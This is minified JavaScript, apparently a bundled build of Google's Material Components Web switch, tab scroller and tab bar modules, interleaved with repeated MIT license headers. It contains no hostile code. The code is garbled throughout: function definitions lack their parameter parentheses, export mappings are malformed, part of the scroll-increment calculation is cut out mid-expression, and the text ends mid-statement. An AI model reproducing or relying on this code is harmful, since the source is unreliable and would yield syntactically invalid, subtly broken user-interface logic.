null!==e&&e.apply(this,arguments)||this}return(0,r.__extends)(t,e),t.prototype.init=function{e.prototype.init.call(this),this.observe(this.adapter.state,{disabled:this.onDisabledChange,processing:this.onProcessingChange,selected:this.onSelectedChange})},t.prototype.initFromDOM=function{this.setObserversEnabled(this.adapter.state,!1),this.adapter.state.selected=this.adapter.hasClass(f.SELECTED),this.onSelectedChange,this.adapter.state.disabled=this.adapter.isDisabled,this.adapter.state.processing=this.adapter.hasClass(f.PROCESSING),this.setObserversEnabled(this.adapter.state,!0),this.stopProcessingIfDisabled},t.prototype.onDisabledChange=function{this.adapter.setDisabled(this.adapter.state.disabled)},t.prototype.onProcessingChange=function{this.toggleClass(this.adapter.state.processing,f.PROCESSING)},t.prototype.onSelectedChange=function{this.adapter.setAriaChecked(String(this.adapter.state.selected)),this.toggleClass(this.adapter.state.selected,f.SELECTED),this.toggleClass(!this.adapter.state.selected,f.UNSELECTED)},t.prototype.toggleClass=function(e,t){e?this.adapter.addClass(t):this.adapter.removeClass(t)},t}(_),I=function(e){function t(t,n){var i=e.call(this,t,n)||this;return i.root=t,i}return(0,r.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function{this.ripple=new l.F(this.root,this.createRippleFoundation)},t.prototype.initialSyncWithDOM=function{var e=this.root.querySelector(g.RIPPLE);if(!e)throw new Error("Switch "+g.RIPPLE+" element is required.");this.rippleElement=e,this.root.addEventListener("click",this.foundation.handleClick),this.foundation.initFromDOM},t.prototype.destroy=function{e.prototype.destroy.call(this),this.ripple.destroy,this.root.removeEventListener("click",this.foundation.handleClick)},t.prototype.getDefaultFoundation=function{return new b(this.createAdapter)},t.prototype.createAdapter=function{var e=this;return{addClass:function(t){e.root.classList.add(t)},hasClass:function(t){return e.root.classList.contains(t)},isDisabled:function{return e.root.disabled},removeClass:function(t){e.root.classList.remove(t)},setAriaChecked:function(t){return e.root.setAttribute("aria-checked",t)},setDisabled:function(t){e.root.disabled=t},state:this}},t.prototype.createRippleFoundation=function{return new c.l(this.createRippleAdapter)},t.prototype.createRippleAdapter=function{var e=this;return(0,r.__assign)((0,r.__assign)({},l.F.createAdapter(this)),{computeBoundingRect:function{return e.rippleElement.getBoundingClientRect},isUnbounded:function{return!0}})},t}(o.B)} /** * @license * Copyright 2021 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,1e3:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCTabBar:=>w,MDCTabBarFoundation:=>C,numbers:=>_,strings:=>y});var i=n(655),r=n(5179),o=n(9397),a=n(2851),s=n(6308),l={ANIMATING:"mdc-tab-scroller--animating",SCROLL_AREA_SCROLL:"mdc-tab-scroller__scroll-area--scroll",SCROLL_TEST:"mdc-tab-scroller__test"},c={AREA_SELECTOR:".mdc-tab-scroller__scroll-area",CONTENT_SELECTOR:".mdc-tab-scroller__scroll-content"},d=function(e){this.adapter=e}; /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var u=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.prototype.getScrollPositionRTL=function{var e=this.adapter.getScrollAreaScrollLeft,t=this.calculateScrollEdges.right;return Math.round(t-e)},t.prototype.scrollToRTL=function(e){var t=this.calculateScrollEdges,n=this.adapter.getScrollAreaScrollLeft,i=this.clampScrollValue(t.right-e);return{finalScrollPosition:i,scrollDelta:i-n}},t.prototype.incrementScrollRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft,n=this.clampScrollValue(t-e);return{finalScrollPosition:n,scrollDelta:n-t}},t.prototype.getAnimatingScrollPosition=function(e){return e},t.prototype.calculateScrollEdges=function{return{left:0,right:this.adapter.getScrollContentOffsetWidth-this.adapter.getScrollAreaOffsetWidth}},t.prototype.clampScrollValue=function(e){var t=this.calculateScrollEdges;return Math.min(Math.max(t.left,e),t.right)},t}(d); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var p=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.prototype.getScrollPositionRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft;return Math.round(e-t)},t.prototype.scrollToRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft,n=this.clampScrollValue(-e);return{finalScrollPosition:n,scrollDelta:n-t}},t.prototype.incrementScrollRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft,n=this.clampScrollValue(t-e);return{finalScrollPosition:n,scrollDelta:n-t}},t.prototype.getAnimatingScrollPosition=function(e,t){return e-t},t.prototype.calculateScrollEdges=function{var e=this.adapter.getScrollContentOffsetWidth;return{left:this.adapter.getScrollAreaOffsetWidth-e,right:0}},t.prototype.clampScrollValue=function(e){var t=this.calculateScrollEdges;return Math.max(Math.min(t.right,e),t.left)},t}(d); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var h=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.prototype.getScrollPositionRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft;return Math.round(t-e)},t.prototype.scrollToRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft,n=this.clampScrollValue(e);return{finalScrollPosition:n,scrollDelta:t-n}},t.prototype.incrementScrollRTL=function(e){var t=this.adapter.getScrollAreaScrollLeft,n=this.clampScrollValue(t+e);return{finalScrollPosition:n,scrollDelta:t-n}},t.prototype.getAnimatingScrollPosition=function(e,t){return e+t},t.prototype.calculateScrollEdges=function{return{left:this.adapter.getScrollContentOffsetWidth-this.adapter.getScrollAreaOffsetWidth,right:0}},t.prototype.clampScrollValue=function(e){var t=this.calculateScrollEdges;return Math.min(Math.max(t.right,e),t.left)},t}(d); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var f=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.isAnimating=!1,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return l},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return c},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{eventTargetMatchesSelector:function{return!1},addClass:function{},removeClass:function{},addScrollAreaClass:function{},setScrollAreaStyleProperty:function{},setScrollContentStyleProperty:function{},getScrollContentStyleValue:function{return""},setScrollAreaScrollLeft:function{},getScrollAreaScrollLeft:function{return 0},getScrollContentOffsetWidth:function{return 0},getScrollAreaOffsetWidth:function{return 0},computeScrollAreaClientRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},computeScrollContentClientRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},computeHorizontalScrollbarHeight:function{return 0}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e=this.adapter.computeHorizontalScrollbarHeight;this.adapter.setScrollAreaStyleProperty("margin-bottom",-e+"px"),this.adapter.addScrollAreaClass(t.cssClasses.SCROLL_AREA_SCROLL)},t.prototype.getScrollPosition=function{if(this.isRTL)return this.computeCurrentScrollPositionRTL;var e=this.calculateCurrentTranslateX;return this.adapter.getScrollAreaScrollLeft-e},t.prototype.handleInteraction=function{this.isAnimating&&this.stopScrollAnimation},t.prototype.handleTransitionEnd=function(e){var n=e.target;this.isAnimating&&this.adapter.eventTargetMatchesSelector(n,t.strings.CONTENT_SELECTOR)&&(this.isAnimating=!1,this.adapter.removeClass(t.cssClasses.ANIMATING))},t.prototype.incrementScroll=function(e){0!==e&&this.animate(this.getIncrementScrollOperation(e))},t.prototype.incrementScrollImmediate=function(e){if(0!==e){var t=this.getIncrementScrollOperation(e);0!==t.scrollDelta&&(this.stopScrollAnimation,this.adapter.setScrollAreaScrollLeft(t.finalScrollPosition))}},t.prototype.scrollTo=function(e){this.isRTL?this.scrollToImplRTL(e):this.scrollToImpl(e)},t.prototype.getRTLScroller=function{return this.rtlScrollerInstance||(this.rtlScrollerInstance=this.rtlScrollerFactory),this.rtlScrollerInstance},t.prototype.calculateCurrentTranslateX=function{var e=this.adapter.getScrollContentStyleValue("transform");if("none"===e)return 0;var t=/\((.+?)\)/.exec(e);if(!t)return 0;var n=t[1],r=(0,i.__read)(n.split(","),6),o=(r[0],r[1],r[2],r[3],r[4]);r[5];return parseFloat(o)},t.prototype.clampScrollValue=function(e){var t=this.calculateScrollEdges;return Math.min(Math.max(t.left,e),t.right)},t.prototype.computeCurrentScrollPositionRTL=function{var e=this.calculateCurrentTranslateX;return this.getRTLScroller.getScrollPositionRTL(e)},t.prototype.calculateScrollEdges=function{return{left:0,right:this.adapter.getScrollContentOffsetWidth-this.adapter.getScrollAreaOffsetWidth}},t.prototype.scrollToImpl=function(e){var t=this.getScrollPosition,n=this.clampScrollValue(e),i=n-t;this.animate({finalScrollPosition:n,scrollDelta:i})},t.prototype.scrollToImplRTL=function(e){var t=this.getRTLScroller.scrollToRTL(e);this.animate(t)},t.prototype.getIncrementScrollOperation=function(e){if(this.isRTL)return this.getRTLScroller.incrementScrollRTL(e);var t=this.getScrollPosition,n=e+t,i=this.clampScrollValue(n);return{finalScrollPosition:i,scrollDelta:i-t}},t.prototype.animate=function(e){var n=this;0!==e.scrollDelta&&(this.stopScrollAnimation,this.adapter.setScrollAreaScrollLeft(e.finalScrollPosition),this.adapter.setScrollContentStyleProperty("transform","translateX("+e.scrollDelta+"px)"),this.adapter.computeScrollAreaClientRect,requestAnimationFrame((function{n.adapter.addClass(t.cssClasses.ANIMATING),n.adapter.setScrollContentStyleProperty("transform","none")})),this.isAnimating=!0)},t.prototype.stopScrollAnimation=function{this.isAnimating=!1;var e=this.getAnimatingScrollPosition;this.adapter.removeClass(t.cssClasses.ANIMATING),this.adapter.setScrollContentStyleProperty("transform","translateX(0px)"),this.adapter.setScrollAreaScrollLeft(e)},t.prototype.getAnimatingScrollPosition=function{var e=this.calculateCurrentTranslateX,t=this.adapter.getScrollAreaScrollLeft;return this.isRTL?this.getRTLScroller.getAnimatingScrollPosition(t,e):t-e},t.prototype.rtlScrollerFactory=function{var e=this.adapter.getScrollAreaScrollLeft;this.adapter.setScrollAreaScrollLeft(e-1);var t=this.adapter.getScrollAreaScrollLeft;if(t<0)return this.adapter.setScrollAreaScrollLeft(e),new p(this.adapter);var n=this.adapter.computeScrollAreaClientRect,i=this.adapter.computeScrollContentClientRect,r=Math.round(i.right-n.right);return this.adapter.setScrollAreaScrollLeft(e),r===t?new h(this.adapter):new u(this.adapter)},t.prototype.isRTL=function{return"rtl"===this.adapter.getScrollContentStyleValue("direction")},t}(s.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var g; /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var m=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function{this.area=this.root.querySelector(f.strings.AREA_SELECTOR),this.content=this.root.querySelector(f.strings.CONTENT_SELECTOR)},t.prototype.initialSyncWithDOM=function{var e=this;this.handleInteraction=function{e.foundation.handleInteraction},this.handleTransitionEnd=function(t){e.foundation.handleTransitionEnd(t)},this.area.addEventListener("wheel",this.handleInteraction,(0,o.K)),this.area.addEventListener("touchstart",this.handleInteraction,(0,o.K)),this.area.addEventListener("pointerdown",this.handleInteraction,(0,o.K)),this.area.addEventListener("mousedown",this.handleInteraction,(0,o.K)),this.area.addEventListener("keydown",this.handleInteraction,(0,o.K)),this.content.addEventListener("transitionend",this.handleTransitionEnd)},t.prototype.destroy=function{e.prototype.destroy.call(this),this.area.removeEventListener("wheel",this.handleInteraction,(0,o.K)),this.area.removeEventListener("touchstart",this.handleInteraction,(0,o.K)),this.area.removeEventListener("pointerdown",this.handleInteraction,(0,o.K)),this.area.removeEventListener("mousedown",this.handleInteraction,(0,o.K)),this.area.removeEventListener("keydown",this.handleInteraction,(0,o.K)),this.content.removeEventListener("transitionend",this.handleTransitionEnd)},t.prototype.getDefaultFoundation=function{var e=this;return new f({eventTargetMatchesSelector:function(e,t){return(0,a.wB)(e,t)},addClass:function(t){e.root.classList.add(t)},removeClass:function(t){e.root.classList.remove(t)},addScrollAreaClass:function(t){e.area.classList.add(t)},setScrollAreaStyleProperty:function(t,n){e.area.style.setProperty(t,n)},setScrollContentStyleProperty:function(t,n){e.content.style.setProperty(t,n)},getScrollContentStyleValue:function(t){return window.getComputedStyle(e.content).getPropertyValue(t)},setScrollAreaScrollLeft:function(t){return e.area.scrollLeft=t},getScrollAreaScrollLeft:function{return e.area.scrollLeft},getScrollContentOffsetWidth:function{return e.content.offsetWidth},getScrollAreaOffsetWidth:function{return e.area.offsetWidth},computeScrollAreaClientRect:function{return e.area.getBoundingClientRect},computeScrollContentClientRect:function{return e.content.getBoundingClientRect},computeHorizontalScrollbarHeight:function{return function(e,t){if(void 0===t&&(t=!0),t&&void 0!==g)return g;var n=e.createElement("div");n.classList.add(l.SCROLL_TEST),e.body.appendChild(n);var i=n.offsetHeight-n.clientHeight;return e.body.removeChild(n),t&&(g=i),i}(document)}})},t.prototype.getScrollPosition=function{return this.foundation.getScrollPosition},t.prototype.getScrollContentWidth=function{return this.content.offsetWidth},t.prototype.incrementScroll=function(e){this.foundation.incrementScroll(e)},t.prototype.scrollTo=function(e){this.foundation.scrollTo(e)},t}(r.B),v=n(7943),A=n(7532),y={ARROW_LEFT_KEY:"ArrowLeft",ARROW_RIGHT_KEY:"ArrowRight",END_KEY:"End",ENTER_KEY:"Enter",HOME_KEY:"Home",SPACE_KEY:"Space",TAB_ACTIVATED_EVENT:"MDCTabBar:activated",TAB_SCROLLER_SELECTOR:".mdc-tab-scroller",TAB_SELECTOR:".mdc-tab"},_={ARROW_LEFT_KEYCODE:37,ARROW_RIGHT_KEYCODE:39,END_KEYCODE:35,ENTER_KEYCODE:13,EXTRA_SCROLL_AMOUNT:20,HOME_KEYCODE:36,SPACE_KEYCODE:32},b=new Set;b.add(y.ARROW_LEFT_KEY),b.add(y.ARROW_RIGHT_KEY),b.add(y.END_KEY),b.add(y.HOME_KEY),b.add(y.ENTER_KEY),b.add(y.SPACE_KEY);var I=new Map;I.set(_.ARROW_LEFT_KEYCODE,y.ARROW_LEFT_KEY),I.set(_.ARROW_RIGHT_KEYCODE,y.ARROW_RIGHT_KEY),I.set(_.END_KEYCODE,y.END_KEY),I.set(_.HOME_KEYCODE,y.HOME_KEY),I.set(_.ENTER_KEYCODE,y.ENTER_KEY),I.set(_.SPACE_KEYCODE,y.SPACE_KEY);var C=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.useAutomaticActivation=!1,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"strings",{get:function{return y},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return _},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{scrollTo:function{},incrementScroll:function{},getScrollPosition:function{return 0},getScrollContentWidth:function{return 0},getOffsetWidth:function{return 0},isRTL:function{return!1},setActiveTab:function{},activateTabAtIndex:function{},deactivateTabAtIndex:function{},focusTabAtIndex:function{},getTabIndicatorClientRectAtIndex:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},getTabDimensionsAtIndex:function{return{rootLeft:0,rootRight:0,contentLeft:0,contentRight:0}},getPreviousActiveTabIndex:function{return-1},getFocusedTabIndex:function{return-1},getIndexOfTabById:function{return-1},getTabListLength:function{return 0},notifyTabActivated:function{}}},enumerable:!1,configurable:!0}),t.prototype.setUseAutomaticActivation=function(e){this.useAutomaticActivation=e},t.prototype.activateTab=function(e){var t,n=this.adapter.getPreviousActiveTabIndex;this.indexIsInRange(e)&&e!==n&&(-1!==n&&(this.adapter.deactivateTabAtIndex(n),t=this.adapter.getTabIndicatorClientRectAtIndex(n)),this.adapter.activateTabAtIndex(e,t),this.scrollIntoView(e),this.adapter.notifyTabActivated(e))},t.prototype.handleKeyDown=function(e){var t=this.getKeyFromEvent(e);if(void 0!==t)if(this.isActivationKey(t)||e.preventDefault,this.useAutomaticActivation){if(this.isActivationKey(t))return;var n=this.determineTargetFromKey(this.adapter.getPreviousActiveTabIndex,t);this.adapter.setActiveTab(n),this.scrollIntoView(n)}else{var i=this.adapter.getFocusedTabIndex;if(this.isActivationKey(t))this.adapter.setActiveTab(i);else{n=this.determineTargetFromKey(i,t);this.adapter.focusTabAtIndex(n),this.scrollIntoView(n)}}},t.prototype.handleTabInteraction=function(e){this.adapter.setActiveTab(this.adapter.getIndexOfTabById(e.detail.tabId))},t.prototype.scrollIntoView=function(e){this.indexIsInRange(e)&&(0!==e?e!==this.adapter.getTabListLength-1?this.isRTL?this.scrollIntoViewImplRTL(e):this.scrollIntoViewImpl(e):this.adapter.scrollTo(this.adapter.getScrollContentWidth):this.adapter.scrollTo(0))},t.prototype.determineTargetFromKey=function(e,t){var n=this.isRTL,i=this.adapter.getTabListLength-1,r=t===y.END_KEY,o=t===y.ARROW_LEFT_KEY&&!n||t===y.ARROW_RIGHT_KEY&&n,a=t===y.ARROW_RIGHT_KEY&&!n||t===y.ARROW_LEFT_KEY&&n,s=e;return r?s=i:o?s-=1:a?s+=1:s=0,s<0?s=i:s>i&&(s=0),s},t.prototype.calculateScrollIncrement=function(e,t,n,i){var r=this.adapter.getTabDimensionsAtIndex(t),o=r.contentLeft-n-i,a=r.contentRight-n-_.EXTRA_SCROLL_AMOUNT,s=o+_.EXTRA_SCROLL_AMOUNT;return te?Math.max(s,0):Math.min(l,0)},t.prototype.findAdjacentTabIndexClosestToEdge=function(e,t,n,i){var r=t.rootLeft-n,o=t.rootRight-n-i,a=r+o;return r<0||a<0?e-1:o>0||a>0?e+1:-1},t.prototype.findAdjacentTabIndexClosestToEdgeRTL=function(e,t,n,i,r){var o=r-t.rootLeft-i-n,a=r-t.rootRight-n,s=o+a;return o>0||s>0?e+1:a<0||s<0?e-1:-1},t.prototype.getKeyFromEvent=function(e){return b.has(e.key)?e.key:I.get(e.keyCode)},t.prototype.isActivationKey=function(e){return e===y.SPACE_KEY||e===y.ENTER_KEY},t.prototype.indexIsInRange=function(e){return e>=0&&e<this.adapter.getTabListLength},t.prototype.isRTL=function{return this.adapter.isRTL},t.prototype.scrollIntoViewImpl=function(e){var t=this.adapter.getScrollPosition,n=this.adapter.getOffsetWidth,i=this.adapter.getTabDimensionsAtIndex(e),r=this.findAdjacentTabIndexClosestToEdge(e,i,t,n);if(this.indexIsInRange(r)){var o=this.calculateScrollIncrement(e,r,t,n);this.adapter.incrementScroll(o)}},t.prototype.scrollIntoViewImplRTL=function(e){var t=this.adapter.getScrollPosition,n=this.adapter.getOffsetWidth,i=this.adapter.getTabDimensionsAtIndex(e),r=this.adapter.getScrollContentWidth,o=this.findAdjacentTabIndexClosestToEdgeRTL(e,i,t,n,r);if(this.indexIsInRange(o)){var a=this.calculateScrollIncrementRTL(e,o,t,n,r);this.adapter.incrementScroll(a)}},t}(s.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var E=C.strings,T=0,w=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"focusOnActivate",{set:function(e){var t,n;try{for(var r=(0,i.__values)(this.tabList),o=r.next;!o.done;o=r.next){o.value.focusOnActivate=e}}catch(e){t={error:e}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"useAutomaticActivation",{set:function(e){this.foundation.setUseAutomaticActivation(e)},enumerable:!1,configurable:!0}),t.prototype.initialize=function(e,t){void 0===e&&(e=function(e){return new v.V(e)}),void 0===t&&(t=function(e){return new m(e)}),this.tabList=this.instantiateTabs(e),this.tabScroller=this.instantiatetabScroller(t)},t.prototype.initialSyncWithDOM=function{var e=this;this.handleTabInteraction=function(t){e.foundation.handleTabInteraction(t)},this.handleKeyDown=function(t){e.foundation.handleKeyDown(t)},this.listen(A.m.strings.INTERACTED_EVENT,this.handleTabInteraction),this.listen("keydown",this.handleKeyDown);for(var t=0;t<this.tabList.length;t++)if(this.tabList[t].active){this.scrollIntoView(t);break}},t.prototype.destroy=function{var t,n;e.prototype.destroy.call(this),this.unlisten(A.m.strings.INTERACTED_EVENT,this.handleTabInteraction),this.unlisten("keydown",this.handleKeyDown);try{for(var r=(0,i.__values)(this.tabList),o=r.next;!o.done;o=r.next){o.value.destroy}}catch(e){t={error:e}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}this.tabScroller&&this.tabScroller.destroy},t.prototype.getDefaultFoundation=function{var e=this;return new C({scrollTo:function(t){e.tabScroller.scrollTo(t)},incrementScroll:function(t){e.tabScroller.incrementScroll(t)},getScrollPosition:function{return e.tabScroller.getScrollPosition},getScrollContentWidth:function{return e.tabScroller.getScrollContentWidth},getOffsetWidth:function{return e.root.offsetWidth},isRTL:function{return"rtl"===window.getComputedStyle(e.root).getPropertyValue("direction")},setActiveTab:function(t){e.foundation.activateTab(t)},activateTabAtIndex:function(t,n){e.tabList[t].activate(n)},deactivateTabAtIndex:function(t){e.tabList[t].deactivate},focusTabAtIndex:function(t){e.tabList[t].focus},getTabIndicatorClientRectAtIndex:function(t){return e.tabList[t].computeIndicatorClientRect},getTabDimensionsAtIndex:function(t){return e.tabList[t].computeDimensions},getPreviousActiveTabIndex:function{for(var t=0;t<e.tabList.length;t++)if(e.tabList[t].active)return t;return-1},getFocusedTabIndex:function{var t=e.getTabElements,n=document.activeElement;return t.indexOf(n)},getIndexOfTabById:function(t){for(var n=0;n<e.tabList.length;n++)if(e.tabList[n].id===t)return n;return-1},getTabListLength:function{return e.tabList.length},notifyTabActivated:function(t){return e.emit(E.TAB_ACTIVATED_EVENT,{index:t},!0)}})},t.prototype.activateTab=function(e){this.foundation.activateTab(e)},t.prototype.scrollIntoView=function(e){this.foundation.scrollIntoView(e)},t.prototype.getTabElements=function{return[].slice.call(this.root.querySelectorAll(E.TAB_SELECTOR))},t.prototype.instantiateTabs=function(e){return this.getTabElements.map((function(t){return t.id=t.id||"mdc-tab-"+ ++T,e(t)}))},t.prototype.instantiatetabScroller=function(e){var 